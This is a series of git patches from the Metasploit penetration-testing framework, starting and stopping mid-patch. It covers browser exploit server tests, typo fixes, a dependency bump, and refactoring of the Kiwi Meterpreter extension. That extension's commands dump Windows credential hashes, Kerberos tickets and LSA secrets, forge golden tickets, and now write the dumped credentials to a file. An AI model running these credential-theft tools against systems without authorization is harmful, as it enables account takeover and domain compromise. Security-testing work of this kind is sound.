expect(subject.get_module_uri).to include(exploit_receiver_page) + end + end + + describe '#try_set_target' do + let(:aux_mod) do + mod = Msf::Auxiliary.allocate + mod.extend described_class + mod.send(:initialize) + mod + end + + let(:target_options) do + {ua_name: 'Firefox'} + end + + let(:target) do + t = double('target') + allow(t).to receive(:opts).and_return(target_options) + t + end + + let(:default_auto_target) do + # The default auto target is always the first on the list. + # In a module this would be the "Automatic" target. + t = double('target') + allow(t).to receive(:opts).and_return({}) + t + end + + let(:targets) do + [ default_auto_target, target ] + end + + context 'when an auxiliary uses BES' do + it 'returns nil' do + expect(aux_mod.try_set_target(first_profile_info)).to be_nil + end + end + + context 'when an exploit uses BES' do + it 'sets the instance variable @target' do + expect(subject.instance_variable_get(:@target)).to be_nil + allow(subject).to receive(:targets).and_return(targets) + subject.try_set_target(first_profile_info) + expect(subject.instance_variable_get(:@target)).to eq(target) + end + end + end + + skip '#get_bad_requirements' do + end + + skip '#process_browser_info' do + end + + skip '#has_proxy?' do + end + + skip '#cookie_name' do + end + + skip '#cookie_header' do + end + + skip '#send_exploit_html' do + end + + skip '#send_not_found' do + end + + skip '#js_vuln_test' do + end + end + From 88357857a0c1825d0c5a6f56e66a47b9c418918d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 23:22:05 -0500 Subject: [PATCH 0742/1013] These datastore options don't need to set anymore --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 92a5689538..bd18149e7e 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -464,8 +464,6 @@ module Msf # @return [void] def setup t1 = Time.now - self.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 - self.datastore['DisablePayloadHandler'] = true super @bap_exploits = [] From 8d40d30d47e0c51ad47123d2295d8646f157b4a0 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 11 Jul 2015 23:24:01 -0500 Subject: [PATCH 0743/1013] Comemnt --- lib/msf/core/exploit/browser_autopwnv2.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index bd18149e7e..f07e990b8c 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -311,8 +311,8 @@ module Msf # We have to special case firefox payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] - # User configurable options - # We could do a massive multi_handler.datastore.merge!(self.datastore), but this seems + # User-configurable options + # multi_handler.datastore.merge!(self.datastore) could be used, but # really expensive. Costs more loading time. multi_handler.datastore['LHOST'] = get_payload_lhost multi_handler.datastore['PAYLOAD'] = payload_name From a7424c93a0ff32a4c36b6ca784bdd9a691bfdafb Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sun, 12 Jul 2015 01:26:43 -0500 Subject: [PATCH 0744/1013] Update BES rspec --- .../remote/browser_exploit_server_spec.rb | 113 +++++++++++++----- 1 file changed, 85 insertions(+), 28 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 075294b6e7..59597e7f04 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -44,6 +44,25 @@ describe Msf::Exploit::Remote::BrowserExploitServer do sock end + let(:user_agent) do + 'Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/35.0' + end + + let(:cli_request) do + req = Rex::Proto::Http::Request.new + req.headers['Cookie'] = cookie + req.headers['User-Agent'] = user_agent + req + end + + let(:tag) do + 'tag' + end + + let(:cookie) do + "__ua=#{tag};" + end + let(:shortname) do 'browser_exploit_server' end @@ -59,6 +78,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do before(:each) do allow_any_instance_of(described_class).to receive(:vprint_status) + allow_any_instance_of(described_class).to receive(:vprint_line) @notes = [create_fake_note(first_profile_tag, in_memory_profile)] end @@ -68,9 +88,15 @@ describe Msf::Exploit::Remote::BrowserExploitServer do mod.send(:initialize) mod.send(:datastore=, {'NoteTypePrefix' => default_note_type_prefix}) allow(mod).to receive(:shortname).and_return(shortname) + allow(mod).to receive(:fullname).and_return(fullname) + allow(mod).to receive(:report_client) mod end + let(:fullname) do + 'auxiliary/server/browser_autopwn2' + end + let(:service_double) do service = double('service') allow(service).to receive(:server_name=) @@ -164,20 +190,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do describe '#retrieve_tag' do context 'when the browser has a cookie that contains our tag' do - let(:tag) do - 'tag' - end - - let(:cookie) do - "__ua=#{tag};" - end - - let(:cli_request) do - req = Rex::Proto::Http::Request.new - req.headers['Cookie'] = cookie - req - end - it 'returns the tag from the cookie' do expect(server.retrieve_tag(cli, cli_request)).to eq(tag) end @@ -214,6 +226,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do @on_request_exploit_called = false @send_not_found_called = false @on_request_exploit_called = false + @report_client = nil end @@ -347,28 +360,72 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - skip '#get_bad_requirements' do + describe '#get_bad_requirements' do + context 'when there is a bad requirement' do + it 'returns a bad requirement' do + requirements = { ua_ver: '34' } + subject.instance_variable_set(:@requirements, requirements) + expect(subject.get_bad_requirements(first_profile_info)).to include(:ua_ver) + end + end + + context 'when there is no bad requirement' do + it 'returns an empty hash' do + requirements = { ua_ver: first_profile_info[:ua_ver] } + subject.instance_variable_set(:@requirements, requirements) + expect(subject.get_bad_requirements(first_profile_info)).to be_empty + end + end end - skip '#process_browser_info' do + describe '#process_browser_info' do + before(:each) do + allow(subject).to receive(:report_client) { |args| @report_client = args } + allow(subject).to receive(:browser_profile).and_return(Hash.new) + end + + context 'when source is :script' do + context 'when no profile is found' do + it 'reports an empty ua_ver' do + subject.process_browser_info(:script, cli, cli_request) + expect(@report_client[:ua_ver]).to eq('[]') + end + end + end + + context 'when source is :headers' do + context 'when user-agent says the browser is FF 35.0' do + it 'reports ua_ver as 35.0' do + subject.process_browser_info(:headers, cli, cli_request) + expect(@report_client[:ua_ver]).to eq('35.0') + end + end + end end - skip '#has_proxy?' do + describe '#has_proxy?' do + context 'when there is no proxy' do + it 'returns false' do + expect(subject.has_proxy?(cli_request)).to be_falsey + end + end end - skip '#cookie_name' do + describe '#cookie_name' do + before(:each) do + subject.datastore.merge!({'CookieName'=>cookie}) + end + + it 'returns a cookiename' do + expect(subject.cookie_name).to eq(cookie) + end end - skip '#cookie_header' do - end - - skip '#send_exploit_html' do - end - - skip '#send_not_found' do - end - - skip '#js_vuln_test' do + describe '#cookie_header' do + it 'returns a cookie' do + tag = 'TAG' + expect(subject.cookie_header(tag)).to include(tag) + end end end From 88a00b1ed833bb9cca820d32b0294f9d638325b7 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sun, 12 Jul 2015 14:45:46 -0500 Subject: [PATCH 0745/1013] We don't use MessagePack anymore --- .../core/exploit/browser_autopwnv2_spec.rb | 44 +++++++++---------- 1 file changed, 21 insertions(+), 23 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb index b49b151d8e..c2a5317e60 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -307,34 +307,32 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do } end - # When unpacked, this gives us: - # { - # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { - # "source" => "script", - # "os_name" => "Windows 8.1", - # "os_vendor" => "undefined", - # "os_device" => "undefined", - # "ua_name" => "Firefox", - # "ua_ver" => "35.0", - # "arch" => "x86", - # "java" => "1.7", - # "silverlight" => "false", - # "flash" => "14.0", - # "vuln_test" => "true", - # "proxy" => false, - # "language" => "en-US,en;q=0.5", - # "tried" => true - # }} - let(:profile_packed_data) do - "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8E\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3" + let(:default_profile_data) do + { + "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { + "source" => "script", + "os_name" => "Windows 8.1", + "os_vendor" => "undefined", + "os_device" => "undefined", + "ua_name" => "Firefox", + "ua_ver" => "35.0", + "arch" => "x86", + "java" => "1.7", + "silverlight" => "false", + "flash" => "14.0", + "vuln_test" => "true", + "proxy" => false, + "language" => "en-US,en;q=0.5", + "tried" => true + }} end let(:profile_tag) do - MessagePack.unpack(profile_packed_data).keys.first.split('.')[3] + default_profile_data.keys.first.split('.')[3] end let(:note_type_prefix) do - MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." + default_profile_data.keys.first.split('.')[0,3] * "." end let(:cli) do @@ -353,7 +351,7 @@ describe Msf::Exploit::Remote::BrowserAutopwnv2 do framework = double('Msf::Framework', datastore: {}) # Prepare fake notes - notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] + notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", default_profile_data)] # Prepare framework.db w = double('workspace') From 4fc258ec0c118793d76aaae90c5c93af21607beb Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Mon, 13 Jul 2015 13:34:36 +1000 Subject: [PATCH 0746/1013] Remove duplicate entries, allow for output to file This commit does a few tidies of code, as well as adds the ability to write all the kiwi output to disk as well as to the console. We can't yet add this stuff to the credential DB because it's tied to machine, where the creds that come out of kiwi are often tied to domains. This also removes duplicate creds from the output list, and gets rid of the auth id stuff from the output too (not sure why it was useful before). --- .../post/meterpreter/extensions/kiwi/kiwi.rb | 17 +- .../ui/console/command_dispatcher/kiwi.rb | 208 ++++++++++-------- 2 files changed, 131 insertions(+), 94 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb index 3a7eeb7d86..b0865f52e4 100644 --- a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +++ b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb @@ -2,6 +2,7 @@ require 'rex/post/meterpreter/extensions/kiwi/tlv' require 'rexml/document' +require 'set' module Rex module Post @@ -283,9 +284,12 @@ class Kiwi < Extension request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) response = client.send_request(request) + # keep track of unique entries + uniques = Set.new + results = [] response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r| - results << { + result = { :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME), :domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN), :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD), @@ -294,6 +298,17 @@ class Kiwi < Extension :lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH), :ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH) } + + # generate a "unique" set identifier based on the domain/user/pass. We + # don't use the whole object because the auth hi/low might be different + # but everything else might be the same. Join with non-printable, as this + # can't appear in passwords anyway. + set_id = [result[:domain], result[:username], result[:password]].join("\x01") + + # only add to the result list if we don't already have it + if uniques.add?(set_id) + results << result + end end return results diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb index 628df53d87..408a895b7c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb @@ -26,7 +26,7 @@ class Console::CommandDispatcher::Kiwi # Name for this dispatcher # def name - "Kiwi" + 'Kiwi' end # @@ -46,10 +46,9 @@ class Console::CommandDispatcher::Kiwi print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */") print_line - if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) - + if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/ print_line - print_warning "Loaded x86 Kiwi on an x64 architecture." + print_warning('Loaded x86 Kiwi on an x64 architecture.') end end @@ -58,19 +57,19 @@ class Console::CommandDispatcher::Kiwi # def commands { - "creds_wdigest" => "Retrieve WDigest creds", - "creds_msv" => "Retrieve LM/NTLM creds (hashes)", - "creds_livessp" => "Retrieve LiveSSP creds", - "creds_ssp" => "Retrieve SSP creds", - "creds_tspkg" => "Retrieve TsPkg creds", - "creds_kerberos" => "Retrieve Kerberos creds", - "creds_all" => "Retrieve all credentials", - "golden_ticket_create" => "Create a golden kerberos ticket", - "kerberos_ticket_use" => "Use a kerberos ticket", - "kerberos_ticket_purge" => "Purge any in-use kerberos tickets", - "kerberos_ticket_list" => "List all kerberos tickets", - "lsa_dump" => "Dump LSA secrets", - "wifi_list" => "List wifi profiles/creds" + 'creds_wdigest' => 'Retrieve WDigest creds', + 'creds_msv' => 'Retrieve LM/NTLM creds (hashes)', + 'creds_livessp' => 'Retrieve LiveSSP creds', + 'creds_ssp' => 'Retrieve SSP creds', + 'creds_tspkg' => 'Retrieve TsPkg creds', + 'creds_kerberos' => 'Retrieve Kerberos creds', + 'creds_all' => 'Retrieve all credentials', + 'golden_ticket_create' => 'Create a golden kerberos ticket', + 'kerberos_ticket_use' => 'Use a kerberos ticket', + 'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets', + 'kerberos_ticket_list' => 'List all kerberos tickets', + 'lsa_dump' => 'Dump LSA secrets', + 'wifi_list' => 'List wifi profiles/creds' } end @@ -80,7 +79,7 @@ class Console::CommandDispatcher::Kiwi def cmd_lsa_dump(*args) check_privs - print_status("Dumping LSA secrets") + print_status('Dumping LSA secrets') lsa = client.kiwi.lsa_dump # the format of this data doesn't really lend itself nicely to @@ -142,24 +141,24 @@ class Console::CommandDispatcher::Kiwi # Valid options for the golden ticket creation functionality. # @@golden_ticket_create_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-u" => [ true, "Name of the user to create the ticket for" ], - "-i" => [ true, "ID of the user to associate the ticket with" ], - "-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ], - "-d" => [ true, "Name of the target domain (FQDN)" ], - "-k" => [ true, "krbtgt domain user NTLM hash" ], - "-t" => [ true, "Local path of the file to store the ticket in" ], - "-s" => [ true, "SID of the domain" ] + '-h' => [ false, 'Help banner' ], + '-u' => [ true, 'Name of the user to create the ticket for' ], + '-i' => [ true, 'ID of the user to associate the ticket with' ], + '-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ], + '-d' => [ true, 'Name of the target domain (FQDN)' ], + '-k' => [ true, 'krbtgt domain user NTLM hash' ], + '-t' => [ true, 'Local path of the file to store the ticket in' ], + '-s' => [ true, 'SID of the domain' ] ) # # Output the usage for the ticket listing functionality. # def golden_ticket_create_usage - print( - "\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" + - "Create a golden kerberos ticket that expires in 10 years time.\n\n" + - @@golden_ticket_create_opts.usage) + print_line('Usage: golden_ticket_create [options]') + print_line + print_line('Create a golden kerberos ticket that expires in 10 years time.') + print_line(@@golden_ticket_create_opts.usage) end # @@ -181,19 +180,19 @@ class Console::CommandDispatcher::Kiwi @@golden_ticket_create_opts.parse(args) { |opt, idx, val| case opt - when "-u" + when '-u' user = val - when "-d" + when '-d' domain = val - when "-k" + when '-k' tgt = val - when "-t" + when '-t' target = val - when "-i" + when '-i' id = val.to_i - when "-g" + when '-g' group_ids = val.split(',').map { |g| g.to_i }.to_a - when "-s" + when '-s' sid = val end } @@ -207,7 +206,7 @@ class Console::CommandDispatcher::Kiwi ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids) ::File.open( target, 'wb' ) do |f| - f.write ticket + f.write(ticket) end print_good("Golden Kerberos ticket written to #{target}") @@ -217,26 +216,26 @@ class Console::CommandDispatcher::Kiwi # Valid options for the ticket listing functionality. # @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner" ], - "-e" => [ false, "Export Kerberos tickets to disk" ], - "-p" => [ true, "Path to export Kerberos tickets to" ] + '-h' => [ false, 'Help banner' ], + '-e' => [ false, 'Export Kerberos tickets to disk' ], + '-p' => [ true, 'Path to export Kerberos tickets to' ] ) # # Output the usage for the ticket listing functionality. # def kerberos_ticket_list_usage - print( - "\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" + - "List all the available Kerberos tickets.\n\n" + - @@kerberos_ticket_list_opts.usage) + print_line('Usage: kerberos_ticket_list [options]') + print_line + print_line('List all the available Kerberos tickets.') + print_line(@@kerberos_ticket_list_opts.usage) end # # Invoke the kerberos ticket listing functionality on the target machine. # def cmd_kerberos_ticket_list(*args) - if args.include?("-h") + if args.include?('-h') kerberos_ticket_list_usage return end @@ -244,13 +243,13 @@ class Console::CommandDispatcher::Kiwi # default to not exporting export = false # default to the current folder for dumping tickets - export_path = "." + export_path = '.' @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val| case opt - when "-e" + when '-e' export = true - when "-p" + when '-p' export_path = val end } @@ -261,7 +260,7 @@ class Console::CommandDispatcher::Kiwi fields << 'Export Path' if export table = Rex::Ui::Text::Table.new( - 'Header' => "Kerberos Tickets", + 'Header' => 'Kerberos Tickets', 'Indent' => 0, 'SortIndex' => 0, 'Columns' => fields @@ -280,7 +279,7 @@ class Console::CommandDispatcher::Kiwi # write out each ticket to disk if export is enabled. if export - path = "<no data retrieved>" + path = '<no data retrieved>' if t[:raw] id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-') file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt" @@ -305,7 +304,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_kerberos_ticket_purge(*args) client.kiwi.kerberos_ticket_purge - print_good("Kerberos tickets purged") + print_good('Kerberos tickets purged') end # @@ -313,7 +312,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_kerberos_ticket_use(*args) if args.length != 1 - print_line("Usage: kerberos_ticket_use ticketpath") + print_line('Usage: kerberos_ticket_use ticketpath') return end @@ -325,25 +324,13 @@ class Console::CommandDispatcher::Kiwi print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes") client.kiwi.kerberos_ticket_use(ticket) - print_good("Kerberos ticket applied successfully") - end - - def wifi_list_usage - print( - "\nUsage: wifi_list\n\n" + - "List WiFi interfaces, profiles and passwords.\n\n") + print_good('Kerberos ticket applied successfully') end # # Dump all the wifi profiles/credentials # def cmd_wifi_list(*args) - # if any arguments are specified, then fire up a usage message - if args.length > 0 - wifi_list_usage - return - end - results = client.kiwi.wifi_list if results.length > 0 @@ -362,24 +349,39 @@ class Console::CommandDispatcher::Kiwi table << [p[:name], p[:auth], p[:key_type], p[:shared_key]] end - print_line table.to_s - print_line "State: #{r[:state]}" + print_line(table.to_s) + print_line("State: #{r[:state]}") end else print_line - print_error("No wireless profiles found on the target.") + print_error('No wireless profiles found on the target.') end print_line return true end + @@creds_opts = Rex::Parser::Arguments.new( + '-o' => [ true, 'Write the output to the specified file.' ], + '-h' => [ false, 'Help menu.' ] + ) + + # + # Displays information about the various creds commands + # + def cmd_creds_usage(provider) + print_line("Usage: creds_#{provider} [options]") + print_line + print_line("Dump #{provider} credentials.") + print_line(@@creds_opts.usage) + end + # # Dump all the possible credentials to screen. # def cmd_creds_all(*args) method = Proc.new { client.kiwi.all_pass } - scrape_passwords("all", method) + scrape_passwords('all', method, args) end # @@ -387,7 +389,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_wdigest(*args) method = Proc.new { client.kiwi.wdigest } - scrape_passwords("wdigest", method) + scrape_passwords('wdigest', method, args) end # @@ -395,7 +397,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_msv(*args) method = Proc.new { client.kiwi.msv } - scrape_passwords("msv", method) + scrape_passwords('msv', method, args) end # @@ -403,7 +405,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_livessp(*args) method = Proc.new { client.kiwi.livessp } - scrape_passwords("livessp", method) + scrape_passwords('livessp', method, args) end # @@ -411,7 +413,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_ssp(*args) method = Proc.new { client.kiwi.ssp } - scrape_passwords("ssp", method) + scrape_passwords('ssp', method, args) end # @@ -419,7 +421,7 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_tspkg(*args) method = Proc.new { client.kiwi.tspkg } - scrape_passwords("tspkg", method) + scrape_passwords('tspkg', method, args) end # @@ -427,22 +429,22 @@ class Console::CommandDispatcher::Kiwi # def cmd_creds_kerberos(*args) method = Proc.new { client.kiwi.kerberos } - scrape_passwords("kerberos", method) + scrape_passwords('kerberos', method, args) end protected def check_privs if system_check - print_good("Running as SYSTEM") + print_good('Running as SYSTEM') else - print_warning("Not running as SYSTEM, execution may fail") + print_warning('Not running as SYSTEM, execution may fail') end end def system_check - unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM") - print_warning("Not currently running as SYSTEM") + unless client.sys.config.is_system? + print_warning('Not currently running as SYSTEM') return false end @@ -459,7 +461,12 @@ protected # Meterpreter that lay in the house that Jack built. # # @return [void] - def scrape_passwords(provider, method) + def scrape_passwords(provider, method, args) + if args.include?('-h') + cmd_creds_usage(provider) + return + end + check_privs print_status("Retrieving #{provider} credentials") accounts = method.call @@ -468,24 +475,40 @@ protected 'Header' => "#{provider} credentials", 'Indent' => 0, 'SortIndex' => 0, - 'Columns' => - [ - 'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash' + 'Columns' => [ + 'Domain', 'User', 'Password', 'LM Hash', 'NTLM Hash' ] ) accounts.each do |acc| table << [ - acc[:domain] || "", - acc[:username] || "", - acc[:password] || "", - "#{acc[:auth_hi]} ; #{acc[:auth_lo]}", - to_hex(acc[:lm] || ""), - to_hex(acc[:ntlm] || "") + acc[:domain] || '', + acc[:username] || '', + acc[:password] || '', + to_hex(acc[:lm]), + to_hex(acc[:ntlm]) ] end - print_line table.to_s + output = table.to_s + print_line(output) + + # determine if a target file path was passed in + file_index = args.index('-o') + unless file_index.nil? + if args.length > file_index + 1 + # try to write the file to disk + begin + ::File.write(args[file_index + 1], output) + print_good("Output written to #{args[file_index + 1]}") + rescue + print_error("Unable to write to #{args[file_index + 1]}") + end + else + print_error('Missing file path for -o parameter') + end + end + return true end @@ -496,8 +519,7 @@ protected # @param (see Rex::Text.to_hex) # @return [String] The result of {Rex::Text.to_hex}, strip'd def to_hex(value, sep = '') - value ||= "" - Rex::Text.to_hex(value, sep).strip + Rex::Text.to_hex(value || '', sep).strip end end From b782e3fc0f8e40bd9084f7fcf9541ead3afa7835 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 13 Jul 2015 00:13:02 -0500 Subject: [PATCH 0747/1013] update to metasploit-payloads 1.0.7 This includes a couple of transport fixes for posix meterpreter and some robustness fixes when flushing reverse_tcp sockets. --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 5daa50130d..3072bd0495 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.6) + metasploit-payloads (= 1.0.7) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.6) + metasploit-payloads (1.0.7) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 99789ed0b4..b8c159ef23 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -62,7 +62,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.6' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.7' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From d1f23c54c785ab7a30e1d8df8c1251a1e2d3ee5b Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Mon, 13 Jul 2015 09:38:29 -0500 Subject: [PATCH 0748/1013] Changed Filed to Failed on line 43 in java_rmi_registry.rb --- modules/auxiliary/gather/java_rmi_registry.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb index 67178d7346..85173e7ca3 100644 --- a/modules/auxiliary/gather/java_rmi_registry.rb +++ b/modules/auxiliary/gather/java_rmi_registry.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary send_header ack = recv_protocol_ack if ack.nil? - print_error("#{peer} - Filed to negotiate RMI protocol") + print_error("#{peer} - Failed to negotiate RMI protocol") disconnect return end From 6a5645d747e802b6fe9797f8f10f7454508f987c Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Mon, 13 Jul 2015 11:21:20 -0500 Subject: [PATCH 0749/1013] Changed "Filed" to "Failed" in multiple files --- lib/rex/java/serialization/model/proxy_class_desc.rb | 2 +- lib/rex/proto/kerberos/model/kdc_request.rb | 4 ++-- modules/auxiliary/scanner/misc/java_rmi_server.rb | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/rex/java/serialization/model/proxy_class_desc.rb b/lib/rex/java/serialization/model/proxy_class_desc.rb index 61ad5de9b4..702790b9e3 100644 --- a/lib/rex/java/serialization/model/proxy_class_desc.rb +++ b/lib/rex/java/serialization/model/proxy_class_desc.rb @@ -53,7 +53,7 @@ module Rex def encode unless class_annotation.class == Rex::Java::Serialization::Model::Annotation || super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise Rex::Java::Serialization::EncodeError, 'Filed to serialize ProxyClassDesc' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ProxyClassDesc' end encoded = '' encoded << [interfaces.length].pack('N') diff --git a/lib/rex/proto/kerberos/model/kdc_request.rb b/lib/rex/proto/kerberos/model/kdc_request.rb index 23fa03df5c..b301fa5901 100644 --- a/lib/rex/proto/kerberos/model/kdc_request.rb +++ b/lib/rex/proto/kerberos/model/kdc_request.rb @@ -118,7 +118,7 @@ module Rex when 4 self.req_body = decode_asn1_req_body(val) else - raise ::RuntimeError, 'Filed to decode KdcRequest SEQUENCE' + raise ::RuntimeError, ' to decode KdcRequest SEQUENCE' end end end @@ -163,4 +163,4 @@ module Rex end end end -end \ No newline at end of file +end diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index f78fd7017b..5cdf03a371 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary send_header ack = recv_protocol_ack if ack.nil? - print_error("#{peer} - Filed to negotiate RMI protocol") + print_error("#{peer} - Failed to negotiate RMI protocol") disconnect return end From 4cd6e0c72b730443136b83564591d85f59917655 Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Mon, 13 Jul 2015 11:27:32 -0500 Subject: [PATCH 0750/1013] Added "Failed" to line 121 of kdc_request.rb --- lib/rex/proto/kerberos/model/kdc_request.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/kerberos/model/kdc_request.rb b/lib/rex/proto/kerberos/model/kdc_request.rb index b301fa5901..e54332739e 100644 --- a/lib/rex/proto/kerberos/model/kdc_request.rb +++ b/lib/rex/proto/kerberos/model/kdc_request.rb @@ -118,7 +118,7 @@ module Rex when 4 self.req_body = decode_asn1_req_body(val) else - raise ::RuntimeError, ' to decode KdcRequest SEQUENCE' + raise ::RuntimeError, 'Failed to decode KdcRequest SEQUENCE' end end end From 4177cdacd6750f1ae1b74b328cdf1d66af4454d1 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 13 Jul 2015 12:41:29 -0500 Subject: [PATCH 0751/1013] Remove php_wordpress_total_cache, please use wp_total_cache_exec The time is up for exploit/unix/webapp/php_wordpress_total_cache, please use exploit/unix/webapp/wp_total_cache_exec instead. --- .../unix/webapp/php_wordpress_total_cache.rb | 210 ------------------ 1 file changed, 210 deletions(-) delete mode 100644 